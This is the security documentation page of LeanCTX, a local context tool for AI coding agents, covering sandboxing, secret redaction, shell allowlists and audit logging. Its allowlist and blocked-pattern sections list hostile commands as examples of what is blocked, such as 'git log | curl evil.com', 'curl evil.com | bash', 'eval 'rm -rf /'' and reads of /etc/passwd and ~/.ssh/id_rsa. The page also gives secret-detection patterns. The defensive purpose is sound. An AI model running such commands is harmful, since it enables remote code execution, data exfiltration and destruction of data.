Operations
Security
Security architecture of LeanCTX: data privacy, PathJail sandbox, token scopes, audit trail, redaction policies, and secret leak prevention.
LeanCTX is designed with security as a first-class concern. Everything runs locally by default. There is zero telemetry out of the box, and the entire codebase is open source and auditable.
Data Privacy
- Local-first: All processing happens on your machine. No data leaves your network unless you explicitly configure a Team Server.
- Zero telemetry by default: LeanCTX ships with all telemetry disabled. An optional
contribute_enabledflag in[cloud]config can be explicitly opted into — it is off unless you turn it on. See Configuration. - No cloud dependency: The binary runs entirely offline. Cloud sync is opt-in and self-hosted.
- Open source: Apache-2.0 license. Full source code available for audit at any time.
Data Directories (XDG)
LeanCTX follows the XDG Base Directory specification and splits its state into three category directories. Each can be relocated independently — useful for containers, CI caches, or keeping state on a faster volume (#408):
| Category | Default | Override |
|---|---|---|
| Config | $XDG_CONFIG_HOME/lean-ctx → ~/.config/lean-ctx | LEAN_CTX_CONFIG_DIR |
| State | $XDG_STATE_HOME/lean-ctx → ~/.local/state/lean-ctx | LEAN_CTX_STATE_DIR |
| Cache | $XDG_CACHE_HOME/lean-ctx → ~/.cache/lean-ctx | LEAN_CTX_CACHE_DIR |
A single LEAN_CTX_DATA_DIR forces all three into one directory (legacy ~/.lean-ctx layout) and is never auto-split. Sensitive runtime files — the proxy session token and per-agent Ed25519 keys — live under the state directory with 0600 permissions.
PathJail Sandbox
Every file operation is sandboxed by PathJail, which prevents AI agents from accessing files outside the project directory. PathJail enforces jail rules on 16 path-typed keys in tool arguments. Beyond path, project_root, and root, that includes file, directory, target, source, destination, old_path, new_path, working_directory, base_path, output, input, cwd, and folder:
// PathJail enforces these rules:
✓ src/lib/auth.ts → inside project root
✓ ../shared-lib/utils.ts → resolved, still in workspace
✗ /etc/passwd → BLOCKED: outside project root
✗ ../../secrets/.env → BLOCKED: path traversal
✗ ~/.ssh/id_rsa → BLOCKED: outside project root PathJail is active by default and resolves symlinks before checking, preventing bypass via symbolic links. On Unix systems, file reads use O_NOFOLLOW to prevent symlink-based TOCTOU (time-of-check-time-of-use) attacks, the file descriptor is opened directly without following symlinks, eliminating the race window between path resolution and file access.
Disabling PathJail v3.6.7
PathJail is governed by the optional path_jail setting (Option<bool>, default unset → active). In certain environments (Docker containers, monorepos with external mounts) it may be too restrictive. There are two ways to disable it:
| Method | Scope | Usage |
|---|---|---|
path_jail = false in config.toml | Persistent | Disables PathJail for this user |
| Container auto-detection | Automatic | PathJail auto-disables inside Docker/Podman containers |
The legacy LEAN_CTX_NO_JAIL=1 escape hatch was removed in v3.7.3 — set path_jail = false instead. When PathJail is disabled, LeanCTX still logs all file access paths but does not block operations outside the project root.
IDE & agent config directories opt-in
PathJail additionally blocks tool access to IDE and agent configuration directories even when they live inside the project root — for example .cursor, .claude, .codebuddy, .codex, .gemini and .aider, among others. This stops an agent from rewriting its own rules, hooks or MCP wiring. Access is opt-in:
# config.toml
allow_ide_config_dirs = true # or per-process: LEAN_CTX_ALLOW_IDE_DIRS=1 Token Roles & Scopes
The Team Server is part of the optional, additive Team plane, local single-user features stay free and ungated (the Local-Free Invariant). When you do run a Team Server, every API token carries an RBAC role and/or an explicit set of scopes that limit what it can do:
| Role | Permissions | Use Case |
|---|---|---|
viewer | Read-only access to sessions, knowledge and events | Dashboards, monitoring, read-only agents |
member | Read plus mutate sessions, store knowledge, call tools | Active development agents |
admin | Manage tokens and workspaces, server configuration | Team leads, CI/CD |
owner | Full control, including billing and ownership transfer | Account owner |
For fine-grained tokens, grant individual scopes instead of a role: search, graph, artifacts, index, events, knowledge, sessionmutations, audit.
Create tokens with the CLI (a Team Server config supplies the workspace and signing key):
$ lean-ctx team token create --config team.toml --id dashboard --role viewer
$ lean-ctx team token create --config team.toml --id developer --role member
$ lean-ctx team token create --config team.toml --id indexer --scope search,graph,index Note: these Team Server token roles (viewer/member/admin/owner) are distinct from the five built-in agent roles used for local capability policies (admin/coder/debugger/reviewer/ops).
Audit Trail
LeanCTX logs every tool execution, session mutation, and knowledge operation in SHA-256 chained JSONL format. Each entry includes a hash of the previous entry, forming a tamper-evident chain that can be verified for integrity:
[2025-01-15 14:32:01] agent=cursor token=alice tool=ctx_read path=src/auth.ts tokens=180
[2025-01-15 14:32:05] agent=claude token=bob tool=ctx_knowledge action=remember fact="JWT RS256"
[2025-01-15 14:32:12] agent=cursor token=alice tool=ctx_session action=mutate channel=feat/auth rev=15 Audit logs include: timestamp, agent identity, token name, tool called, arguments (redacted), result status, and token cost. The chained format ensures any retroactive modification of log entries is detectable via hash mismatch. Run lean-ctx audit --verify to validate chain integrity.
For external reviews, lean-ctx audit evidence exports a reporting period as a deterministic, Ed25519-signed evidence bundle (open contract evidence-bundle-v1) that auditors verify offline with the standalone leanctx-verify binary — chain replay and signature checks without trusting the generator. Agents themselves are first-class identities with a mandatory human owner and an audited lifecycle (lean-ctx agent). See Compliance & Evidence and Agent Governance.
Redaction Policies
LeanCTX automatically redacts sensitive patterns from tool outputs before they reach the AI agent:
- Environment variables:
$SECRET_KEY,$API_TOKEN, etc. - Connection strings: Database URLs, Redis URLs with credentials
- Private keys: SSH keys, PEM certificates, JWT secrets
- Custom patterns: Define your own regex patterns in
.lean-ctx/config.toml
[redaction]
enabled = true
level = "standard" # "off", "standard", "strict"
[[redaction.patterns]]
name = "internal-api-keys"
regex = "sk_live_[a-zA-Z0-9]{24,}"
replacement = "[REDACTED_API_KEY]" Secret Leak Prevention
The verification pipeline scans all tool outputs using 8+ regex patterns for potential secret leaks before delivering them to the AI agent:
- AWS access keys and secret keys (
AKIA...,aws_secret_access_key) - OpenAI API keys (
sk-...) - GitHub personal access tokens (
ghp_...,github_pat_...) - GitLab personal/project tokens (
glpat-...) - Stripe, Twilio, SendGrid API keys
- Generic high-entropy strings matching key patterns
- Private keys (RSA, ECDSA, Ed25519)
- Custom patterns configurable via
[secret_detection.patterns]
[secret_detection]
enabled = true
redact = true # automatically replace detected secrets
[[secret_detection.patterns]]
name = "internal-service-key"
regex = "svc_[a-zA-Z0-9]{32,}"
replacement = "[REDACTED_SERVICE_KEY]" When a secret is detected, the verification step replaces it with [REDACTED] and logs a warning in the audit trail. Optional automatic redaction can be enabled to strip secrets before they reach the AI agent. This protection is enabled by default and works with all integration modes (CLI, Hybrid, MCP).
OWASP Agentic Top 10 Alignment
LeanCTX maps its security controls to the OWASP Agentic AI Top 10 threat categories, achieving Full coverage on 8 out of 10 items:
| OWASP Category | Coverage |
|---|---|
| A01 — Privilege Escalation | Full |
| A02 — Information Disclosure | Full |
| A03 — Improper Output Handling | Full |
| A04 — Tool Misuse | Full |
| A05 — Insecure Agent Communication | Full |
| A06 — Excessive Agency | Full |
| A07 — Insufficient Logging | Full |
| A08 — Supply Chain Vulnerabilities | Partial |
| A09 — Overreliance | Partial |
| A10 — Denial of Service | Full |
Run lean-ctx audit to view the full OWASP alignment mapping with details on which controls address each category.
Capability-based Access Control
LeanCTX enforces capability-based access control at the tool dispatch layer. Each tool declares the capabilities it requires, and each agent role grants a specific set of capabilities:
| Capability | Description |
|---|---|
FsRead | Read files within the PathJail boundary |
FsWrite | Write or modify files within the PathJail boundary |
NetOutbound | Make outbound network requests |
Exec | Execute shell commands or subprocesses |
CrossProject | Access files in other project roots (multi-repo) |
The dispatcher checks the requesting agent's capabilities against the tool's requirements before every invocation. If a capability is missing, the call is rejected and an audit event is logged.
[roles.readonly]
capabilities = ["FsRead"]
[roles.developer]
capabilities = ["FsRead", "FsWrite", "Exec"]
[roles.admin]
capabilities = ["FsRead", "FsWrite", "NetOutbound", "Exec", "CrossProject"] OS-level Sandboxing
Beyond PathJail's logical sandboxing, LeanCTX supports OS-level sandboxing for defense-in-depth. Sandboxing levels are configurable via sandbox_level in config.toml:
| Level | Platform | Mechanism |
|---|---|---|
| Level 0 | All | Subprocess isolation — child processes run with restricted environment and no inherited file descriptors |
| Level 1 | macOS | Seatbelt (sandbox-exec) — restricts filesystem access, network, and IPC via Apple's sandbox framework |
| Level 1 | Linux | Landlock LSM — restricts filesystem access paths via the Linux Security Module, no root required |
[security]
sandbox_level = 1 # 0 = subprocess isolation, 1 = OS-level sandbox On macOS, Seatbelt profiles restrict the process to the project directory, deny network access by default, and block access to user keychain and sensitive system paths. On Linux, Landlock enforces filesystem restrictions without requiring root privileges or container runtimes.
Shell Allowlist Mode v3.6.8
For high-security environments, LeanCTX supports an opt-in allowlist mode for ctx_shell. When configured, only explicitly listed commands are permitted, all other commands are rejected:
[security]
shell_allowlist = ["git", "cargo", "npm", "node", "python", "make"] The allowlist can also be set via the LEAN_CTX_SHELL_ALLOWLIST environment variable (comma-separated).
Built-in Default Tools updated v3.8.8
You rarely start from scratch: lean-ctx ships a built-in default allowlist of common, safe developer tools — version control, package managers, and the language toolchains an agent needs to build and test a reproducer. As of v3.8.8 that default also covers the C/C++ compilers (gcc, cc, clang, g++, c++, clang++), alongside the existing rustc, go and javac. These are compile-only — executing the produced binary stays gated like any other path, so the security boundary is unchanged. Extend the defaults with lean-ctx allow <cmd> (persists to shell_allowlist_extra, merged on top of the defaults) rather than redefining the whole list.
AST-based Multi-Segment Validation
When the allowlist is active, LeanCTX performs full AST-based parsing of compound shell commands. Every segment in a pipeline or chain is validated independently, including everything after the first command:
✓ git log | head -10 → both "git" and "head" in allowlist
✓ cargo build && git status → both "cargo" and "git" in allowlist
✗ git log | curl evil.com → "curl" not in allowlist — BLOCKED
✗ echo ok; rm -rf / → "rm" not in allowlist — BLOCKED The parser correctly handles:
- Pipes (
|), chains (&&,||), semicolons (;) - Environment variable prefixes (
RUST_LOG=debug cargo test) - Quoted arguments containing operators (
grep 'a && b'— not split)
Dangerous Pattern Blocking updated v3.6.22
Regardless of allowlist configuration (even with an empty allowlist), the following patterns are unconditionally blocked:
| Pattern | Risk | Blocked | Allowed |
|---|---|---|---|
eval | Arbitrary code execution | eval 'rm -rf /' | — |
exec | Process replacement | exec /bin/sh | — |
source / . (dot-source) | Arbitrary file execution | source /etc/passwd | — |
| Interpreter eval flags | Inline code execution | python -c 'import os; ...', perl -e, ruby -e | — |
| Pipe to interpreter | Remote code execution | curl evil.com | bash, wget ... | sh | — |
Backticks `…` at command position | Command substitution bypass | `curl evil.com` | echo `date` (argument position) |
$(…) at command position | Command substitution bypass | $(curl evil.com) | git commit -m "$(cat msg)" (argument position) |
| Dangerous flags | Privilege escalation | --checkpoint-action, GIT_SSH=, PATH= overrides | — |
| Unicode line separators | Injection via invisible chars | U+2028, U+2029 normalized to newline before parsing | — |
Backticks and $(…) are only blocked when they appear as the first token of a command segment
(command position). In argument position, the base command is still validated against the allowlist.
eval, exec, source, and interpreter eval flags are always blocked regardless of position.
The allowlist can also be completely overridden via LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE (replaces config entirely, no merging)
or merged via LEAN_CTX_SHELL_ALLOWLIST (comma-separated, merges with config defaults).
Output Size Caps
To bound memory use and protect against denial-of-service via pathological inputs, LeanCTX caps the bytes a single tool call may ingest. Oversized payloads are truncated with a clear marker rather than buffered whole:
| Limit | Default | Applies to |
|---|---|---|
LCTX_MAX_READ_BYTES | 4 MB | Maximum file size ctx_read will load |
LCTX_MAX_SHELL_BYTES | 2 MB | Maximum captured ctx_shell / command output |
HTTP Proxy Hardening v3.6.8
The local MCP proxy server implements defense-in-depth against unauthorized access, even from other processes on the same machine:
Cryptographic Session Tokens
On startup, the proxy auto-generates a 256-bit cryptographic session token using the OS CSPRNG (getrandom). All HTTP requests must include this token, without it, the request is rejected before reaching any tool handler:
// Token is auto-generated and stored with restrictive permissions (0600)
// Location: <state-dir>/session_token (e.g. ~/.local/state/lean-ctx/session_token)
Authorization: Bearer <64-char-hex-token> The token file is created with 0600 permissions (owner-only read/write), preventing other users on multi-user systems from reading it. Set LEAN_CTX_PROXY_TOKEN to pin a stable token across restarts (useful behind a reverse proxy); if unset, a fresh token is generated on each start.
Strict Host Header Validation
The proxy rejects any request whose Host header does not resolve to a loopback address (127.0.0.1, [::1], localhost). This prevents DNS rebinding attacks where a malicious website could otherwise send requests to the local proxy via a crafted hostname.
Dashboard Authentication #377
The web dashboard binds to 127.0.0.1 by default. Pin its Bearer token with LEAN_CTX_HTTP_TOKEN (stable across restarts) or lean-ctx dashboard --auth-token=<token>, which takes precedence. A token is mandatory for any non-loopback bind (--host=0.0.0.0); on a loopback bind a random token is generated each start when none is provided.
JetBrains Plugin Backend
The JetBrains plugin runs a local HTTP backend that binds to 127.0.0.1 only and authenticates every request with a per-process secure-random token sent in the X-LeanCtx-Token header. Requests missing the token, or arriving from non-loopback origins, are rejected before reaching any handler.
Signed Handoff Bundles
Agent-to-Agent transfer bundles are cryptographically signed with Ed25519 to ensure authenticity and prevent tampering:
- Per-agent keypairs: Each agent identity has its own Ed25519 keypair stored in
~/.lean-ctx/keys/ - Sign on export: The sending agent signs the bundle payload with its private key
- Verify on import: The receiving agent verifies the signature before accepting the bundle
- Rejection on failure: Invalid or missing signatures cause the import to fail with a clear error
This prevents man-in-the-middle modification of handoff data between agents, even when bundles are transferred via untrusted channels.
Per-Agent Context Ledger
Each agent operates with an isolated context ledger, preventing cross-agent data contamination:
~/.lean-ctx/ledger/
├── agent-cursor-abc123.json → Cursor agent session
├── agent-claude-def456.json → Claude agent session
└── agent-subagent-ghi789.json → Subagent session Each ledger file at ~/.lean-ctx/ledger/{<agent_id>}.json contains that agent's file read history, cached context, and session state. Agents cannot read or modify another agent's ledger, enforcing strict context isolation even in multi-agent workflows.
Agent Token Budget
LeanCTX supports configurable per-agent token budgets to prevent runaway context consumption:
[agent]
agent_token_budget = 80000 # maximum tokens per agent session - Enforcement: File reads are blocked when the agent's cumulative token usage exceeds the configured budget
- Warning threshold: A warning is emitted at 80% budget usage, giving the agent time to wrap up
- Audit logging: Budget exceeded events are recorded in the audit trail
- Per-agent isolation: Each agent's budget is tracked independently via the context ledger
Policy Engine
LeanCTX includes a declarative policy engine that applies rules based on runtime conditions. Policies are evaluated before tool dispatch and can filter, pin, redact, or audit context:
| Condition | Description |
|---|---|
AgentIs | Matches a specific agent identity |
AgentRoleIs | Matches the agent's assigned role |
ContentContainsSecret | Detects secrets in the content being accessed |
SourceModifiedRecently | File was modified within a configurable time window |
| Action | Effect |
|---|---|
Exclude | Block the content from reaching the agent |
Pin | Always include the content regardless of compression |
Redact | Strip matched patterns before delivery |
Audit | Log the access to the audit trail without blocking |
[[policies]]
condition = { type = "ContentContainsSecret" }
action = "Redact"
[[policies]]
condition = { type = "AgentRoleIs", role = "readonly" }
action = "Exclude"
paths = ["*.env", "secrets/**"] Compliance Reports
The lean-ctx audit command generates compliance reports covering all security-relevant activity:
- File access log: Every file read with timestamps, agent identity, and compression ratios
- Security events: PathJail violations, secret detections, capability denials, policy triggers
- Budget usage: Per-agent token consumption with remaining budget
- OWASP alignment: Mapping of active controls to OWASP Agentic Top 10 categories
- Chain integrity: Verification status of the SHA-256 audit chain
$ lean-ctx audit
$ lean-ctx audit --format json --output report.json
$ lean-ctx audit --verify Auto-Reroot Protection
By default, LeanCTX prevents automatic project root changes that could inadvertently expand the PathJail boundary:
[security]
allow_auto_reroot = false # default: prevents automatic root expansion When an agent or tool attempts to change the project root (e.g., navigating to a parent directory), the operation is blocked and an audit event is recorded. This prevents a compromised agent from expanding its own sandbox. If allow_auto_reroot = true is set, re-root events are still logged to the audit trail for review.
Atomic Writes
All internal JSON stores (context ledgers, knowledge base, session files, audit logs) use an atomic write pattern to prevent data corruption on crash or power loss:
- Write to a temporary file in the same directory
- Call
fsyncto flush to disk - Atomically rename the temp file to the target path
This ensures that files are either fully written or untouched, no partial writes can leave the system in an inconsistent state. The same pattern is used for audit trail entries to maintain chain integrity even under unexpected termination.
v3.5.16 Security Hardening
Version 3.5.16 introduced 40+ security fixes across all severity levels. Key protections:
- Path traversal prevention — PathJail enforcement extended to
tee showand dashboard routes;..and path separators are rejected outright. - CSP nonce-based policy — Dashboard responses use per-request nonces instead of
unsafe-inline, preventing XSS via injected inline scripts. - Argon2id password hashing — Cloud server passwords are hashed with OWASP-recommended Argon2id parameters (19 MiB memory, 2 iterations).
- HMAC payload binding for A2A — Agent-to-Agent handoff payloads are authenticated with HMAC-SHA256, preventing tampering in transit.
- Constant-time token comparison — Bearer tokens are verified using constant-time equality to prevent timing side-channels.
- Sandbox environment isolation — The Rust sandbox strips all environment variables except an explicit allowlist before executing commands.
- SSE subscriber caps — Server-Sent Events channels enforce a 64-subscriber limit, preventing resource exhaustion via connection flooding.
For full details, see the v3.5.16 changelog.
Open Source Audit
LeanCTX is fully open source. You can audit the security implementation yourself: